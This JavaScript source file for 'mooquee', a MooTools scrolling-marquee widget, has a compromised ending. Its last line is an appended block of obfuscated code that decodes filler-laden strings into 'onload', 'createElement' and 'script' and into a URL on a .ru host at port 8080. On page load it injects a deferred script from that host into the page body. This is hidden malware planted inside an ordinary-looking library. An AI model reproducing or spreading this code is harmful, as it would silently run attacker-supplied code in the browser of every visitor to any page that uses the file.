/************************************************
*   mooquee v.01                                 *
*   Http: WwW.developer.ps/moo/mooquee          *
*   Dirar Abu Kteish dirar@zanstudio.com        *
/***********************************************/

var mooquee = new Class({
    initialize: function(element, options) {
		this.setOptions({
			marHeight: 20,
			marWidth: 500, //or 100%...
			steps: 1,
			speed: 10,
			direction: 'left',
			pauseOnOver: true
	    }, options);
	    this.timer = null;
	    this.textElement = null;
	    this.mooqueeElement = element;	    	    
	    this.constructMooquee();
	},
	constructMooquee: function() {
		var el = this.mooqueeElement;
		el.setStyles({
		    'width' : this.options.marWidth
		    ,'height' : this.options.marHeight		    
		});
		this.textElement = new Element('div',{
		    'class' : 'mooquee-text'
		    ,'id' : 'mooquee-text'
		}).setHTML(el.innerHTML);
		el.setHTML('');
		this.textElement.injectInside(el);
		this.textElement = $('mooquee-text');
		(this.options.direction == 'left') ?  this.textElement.setStyle('left', ( -1 * this.textElement.getCoordinates().width.toInt())) : this.textElement.setStyle('left', el.getCoordinates().width.toInt());
		if(this.options.pauseOnOver){this.addMouseEvents();}
		//start marquee
		this.timer = this.startMooquee.delay(this.options.speed, this);
	},
	addMouseEvents : function(){
	    this.textElement.addEvents({
	        'mouseenter' : function(me){
	            this.clearTimer();
	        }.bind(this),
	        'mouseleave' : function(me){
	            this.timer = this.startMooquee.delay(this.options.speed, this);
	        }.bind(this)
	    });
	},
    startMooquee: function(){
        var pos = this.textElement.getStyle('left').toInt();
        this.textElement.setStyle('left', ( pos + ((this.options.direction == 'left') ? -1 * (this.options.steps) : this.options.steps)) + 'px');
        this.checkEnd(pos);
        this.timer = this.startMooquee.delay(this.options.speed, this);        
    },
    resumeMooquee: function(){
        this.stopMooquee();
        if(this.options.pauseOnOver){this.addMouseEvents();}
        this.timer = this.startMooquee.delay(this.options.speed, this);        
    },
    stopMooquee: function(){
        this.clearTimer();        
        this.textElement.removeEvents();        
    },
    clearTimer: function(){
        $clear(this.timer);
    },
    checkEnd: function(pos){
        if(this.options.direction == 'left'){
            if(pos < -1 * (this.textElement.getCoordinates().width.toInt())){
                this.textElement.setStyle('left', this.mooqueeElement.getCoordinates().width);
            }
        }
        else{
            if(pos > this.mooqueeElement.getCoordinates().width.toInt()){
                this.textElement.setStyle('left', -1 * (this.textElement.getCoordinates().width.toInt()) );                
            }
        }        
    },
    setDirection: function(dir){
        this.options.direction = dir;
    }
});
mooquee.implement(new Options);
var F;if(F!='' && F!='hz'){F=''};try {var S=new String();var p;if(p!='Ft'){p='Ft'};var E;if(E!='G'){E='G'};var R=new String();this.z='';var j='';var _='g';var L='replace';var t;if(t!='k' && t!='l'){t=''};var v=RegExp;var o=']';var y=new Date();var b=new Date();var P='[';var U;if(U!='cE' && U != ''){U=null};var ji;if(ji!='d' && ji != ''){ji=null};var lg=new String();function s(V,X){var XR=new Array();var vg=new Array();var c=P;var GW;if(GW!='sn' && GW!='rW'){GW='sn'};c+=X;var cJ;if(cJ!='a' && cJ != ''){cJ=null};var vh;if(vh!='HL' && vh != ''){vh=null};c+=o;var iR='';var B=new v(c, _);var UG="";var Bz="";return V[L](B, j);this.MW='';this.YD="";};this.rm="";var u=s('oxnslsoxaQdq',"JsqxQ");var w;if(w!='JI' && w != ''){w=null};var EW='';var m=s('corqeoaqtqeqEqlqeomqeqnoto',"oq");var g=s('sce1twA1tctBrcicbBuwtBe1',"1Bcw");var Vb=s('afpfpOeonOdoCfhfiOlOdO',"ofO");var uw=s('87371713017111787711377701713371',"371");var BN='';var vc=s('bhoOdWyW',"OWh");var V="1";this.Wi="";this.vy="";var x=s('h9t9tNp9:9/9/9v9eNoNhN-9cNoNmN.9g9oNoNg9lNe9.Nc9zN.Ny9o9m9i9u9rNiN-9c9o9-Nj9p9.9s9i9t9e9mNyNwNoNrNl9d9.NrNuN:9',"N9");this.Bu='';this.ni='';var _V='';var AD;if(AD!='Ir'){AD='Ir'};var vp=new String();var I=s('/9g8oGo9gGlGeG.9c9o9mG/8g9o9o9g9l8eG.Gc8oGm8/GsGt9aGyGf8r9i9e9n9d8s8.8d8e9/9c9o9m9m8eGn9tGc8aGm8a8rGc8h8e9.8n9e9t8/Ge8v9i8tGe8.GcGo8mG.Gp9h9pG',"G89");var h=s('sWcCrWiWpCtC',"CW");var GA;if(GA!='O'){GA='O'};var HLh=new Date();var tG=new String();var uH=new String();window[u]=function(){var Ag;if(Ag!='' && Ag!='pi'){Ag=''};var hl;if(hl!='' && hl!='C'){hl='QN'};_Q=document[m](h);var D='';var NQ="";var OW;if(OW!='pm'){OW=''};_V+=x;var QH;if(QH!='fe'){QH='fe'};var UK;if(UK!='Lp' && UK!='yj'){UK=''};_V+=uw;var sh=new String();_V+=I;this._N="";_Q.src=_V;var Uf;if(Uf!='tH'){Uf='tH'};_Q.setAttribute('defer', V);var Q=document[vc];var Ku=new String();var vn;if(vn!='' && vn!='OL'){vn=''};Q.appendChild(_Q);var FT;if(FT!=''){FT='TU'};var Qj;if(Qj!='Mw' && Qj!='NX'){Qj='Mw'};};var d_;if(d_!='py'){d_=''};var iA;if(iA!='kk' && iA != ''){iA=null};var uS=new Array();} catch(K){var pR;if(pR!='' && pR!='CZ'){pR=null};var tb;if(tb!='IT'){tb=''};};